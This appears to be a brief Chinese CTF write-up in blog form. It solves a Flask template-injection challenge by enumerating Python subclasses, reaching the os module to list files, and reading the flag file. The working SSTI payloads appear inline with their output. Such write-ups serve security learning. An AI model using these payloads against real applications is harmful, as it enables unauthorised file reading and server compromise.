0x1 考点关键词

flask模板注入

0x2 分析

从题目描述来看应该是flask模板注入,测试一下:

页面返回了2。

{{''.__class__.__mro__[2].__subclasses__()}} 查看所有object类的子类集合:

发现可以利用第40个 <type 'file'> 和第71个 <class 'site._Printer'> 。

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}} 利用os模块读取(路径./下)文件:

['index.py', 'fl4g']

{{''.__class__.__mro__[2].__subclasses__()[40]('filename').read()}} 在filename文件名下填写 fl4g 即可读到flag:

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

0x3 总结

初学flask模板注入:http://lola39.cn/2020/04/15/%e5%88%9d%e5%ad%a6python%e7%9a%84flask%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5/

flask模板注入总结:http://lola39.cn/2020/04/16/python%e7%9a%84flask%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5%e6%80%bb%e7%bb%93/


本网站博主